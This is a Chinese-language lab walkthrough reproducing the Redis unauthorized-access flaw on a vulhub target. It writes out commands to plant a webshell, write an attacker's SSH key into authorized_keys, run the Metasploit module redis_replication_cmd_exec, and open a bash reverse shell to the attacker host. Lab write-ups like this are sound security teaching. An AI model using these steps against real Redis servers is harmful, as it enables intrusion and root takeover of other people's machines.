【vulhub漏洞靶场】redis漏洞及redis漏洞复现
[TOC]
漏洞详情
影响版本 Redis 2.x,3.x,4.x,5.x
Redis默认情况下,会绑定在0.0.0.0:6379(在redis3.2之后,redis增加了protected-mode,在这个模式下,非绑定IP或者没有配置密码访问时都会报错),如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源ip访问等等,这样将会将Redis服务暴露在公网上,如果在没有设置密码认证(默认为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。
攻击者在未授权访问Redis的情况下,利用Redis自身的提供的config命令,可以进行写文件操作,攻击者还可以成功将自己的ssh公钥写入目标服务器的/root/.ssh文件的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务器登录目标服务器。
漏洞的产生条件有以下两点:
(1) Redis绑定在0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网
(2) 没有设置密码认证(默认为空)或者弱密码,可以免密码登录redis服务
漏洞复现
kali靶机: 192.168.192.132
kali攻击机:192.168.192.135
靶机设置
进入vulhub靶场的redis/4-unacc目录,输入命令,然后等待加载完毕。
1 | sudo su |
小提示:如果不成功,可能是没有挂代理(懂吧?)
输入命令查看端口是6379
1 | docker-compose ps |
我们用nmap扫一下靶机,也可以看到6379端口打开了。
1 | nmap -sV 192.168.192.132 -p 1-65535 |
浏览器访问看看,能打开就行
攻击机设置
安装redis-cli远程连接工具
1 | wget http://download.redis.io/redis-stable.tar.gz |
然后解压,进入该目录进行编译,等待完成。
1 | cd redis-stable |
出现如上界面就说明成功了
漏洞利用流程
写入webshell
- 目标开启了web服务器,并且知道web路径(可以利用phpinfo或者错误暴路径等)
- 需要具有读写增删改查权
用redis-cli命令远程免密登录redis主机
1 | # 无密码登录命令 |
这样就说明成功了,
redis操作命令
1 | info #查看redis的信息和服务器信息 |
1 | config set dir /var/www/html #将shell移到网站默认根目录 |
由于靶机没有开启web服务,所以就不演示了。
使用py脚本执行远程命令
1 | git clone https://github.com/vulhub/redis-rogue-getshell.git |
1 | cd ../../ #回到redis-rogue-getshell目录下 |
ssh公私钥免密登录
原理
登陆linux有几种方式,最常用的是密码登陆和RSA key 登陆,RSA key登陆是生成一个公私对应的秘钥,然后将公钥放到linux系统的/root/.ssh/authorized_keys的文件中,我们本地客户端通过导入对应私钥进行登陆,这就是RSA key的登陆方式。
为什么redis可以获取服务器的root权限呢?
上面RSA key的登陆方式在服务器方面是要将公钥写入authorized_keys文件中的,而redis有一种持久化方式是生成RDB文件,通过持久化将公钥写入root下的authored_keys文件里,这样就将非法的公钥写到了验证文件里,后面我们拿对应私钥登陆即可。(但是这种方式需要redis是root启动的情况下使用,因为非root权限无法进入/root目录)
步骤
在攻击机中生成ssh公钥和私钥文件,密码为空
1 | ssh-keygen -t rsa |
进入/home/kali/.ssh目录: 将生成的公钥保存到sshkey.txt:
1 | (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > sshkey.txt |
使用redis-cli -h ip命令连接靶机,把sshkey.txt写入redis中
1 | cat sshkey.txt | redis-cli -h 192.168.192.132 -x set crack |
然后用redis-cli连接靶机,然后更改目标服务器Redis备份路径为ssh公钥存放目录(默认为/root/.ssh)
此处因为靶场中的redis没有root权限,就不演示了
1 | config set dir /root/.ssh |
设置上传公钥备份文件名为authorized_keys:
1 | config set dbfilename authorized_keys |
然后在攻击机上使用ssh免密码登录靶机,利用私钥就能成功登入redis服务器
1 | ssh -i id_rsa root@ip |
使用msf进行漏洞利用
使用searchsploit搜索redis相关漏洞
1 | searchsploit redis |
可以看到相关漏洞都在metasploit里
启动metasploit(注意要在root下启动,不然攻击时会报错),然后检索redis相关exp
1 | msfconsole |
看到有一个cmd利用的漏洞,使用该模块
1 | use exploit/linux/redis/redis_replication_cmd_exec |
然后查看需要设置的参数
1 | show options |
然后运行,出现如下情况就成功了
反弹连接
这个方法主要适用于马被杀了,或者靶机在内网之中。
常见端口监听方法
1 | netcat:nc -lvp 7777 |
常见建立连接方式
1 | Linux bash: |
这里我就演示nc和bash的配合:
攻击机进行nc监听:
1 | nc -lvp 7777 |
靶机使用bash:
1 | bash -i >& /dev/tcp/192.168.192.135/7777 0>&1 |
之后在监听机上就能看到
然后就可以执行命令了
可以看到是靶机的ip地址。
主动关闭连接直接在攻击机上exit。